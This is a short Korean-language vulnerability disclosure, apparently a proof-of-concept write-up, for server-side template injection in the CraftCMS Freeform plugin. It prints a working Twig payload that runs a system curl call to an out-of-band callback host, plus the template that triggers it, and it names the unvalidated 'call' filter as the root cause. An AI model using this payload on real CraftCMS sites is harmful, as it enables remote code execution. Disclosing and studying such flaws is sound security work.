
CraftCMS Freeform 5.0.0 < 5.10.16의 임의 코드 주입
CraftCMS Freeform에는 SSTI 취약점이 포함되어 있어, 폼(제출 제목) 편집 권한이 있는 모든 사용자가 임의 코드를 삽입할 수 있습니다.
취약한 버전은 v5.0.0 < v5.10.16입니다.
폼을 생성합니다:

저는 개념 증명으로 여기에 "pentest"라는 폼을 생성했습니다. 다음으로, 설정에서 다음 제출 제목을 설정합니다 (도메인 이름을 자신의 서버로 변경):
{{ 'system' | call('curl http://gwgyynafr4feu5xecukf1h2nqew5kw8l.oastify.com/rce') }}

이렇게 하면 임의의 시스템 호출이 실행됩니다. 이 경우, 들어오는 연결이 있는지 알려주는 제어 서버로 curl을 수행합니다. 다음으로, 이 폼을 템플릿/페이지에 포함하고 제출합니다:
<h1>test</h1>
{% set form = freeform.form('pentest') %}
{% if form %}
{{ form.render() }}
{% else %}
<p>Form not found.</p>
{% endif %}
이렇게 하면 curl 명령이 호출됩니다. 생성된 수신 HTTP 요청을 확인하여 이를 검증할 수 있습니다:

이 문제의 근본 원인은 Freeform이 사용자 입력을 검증하지 않고 "call" Twig 필터를 구현하기 때문입니다. 이는 다음 커밋에서 수정되었습니다.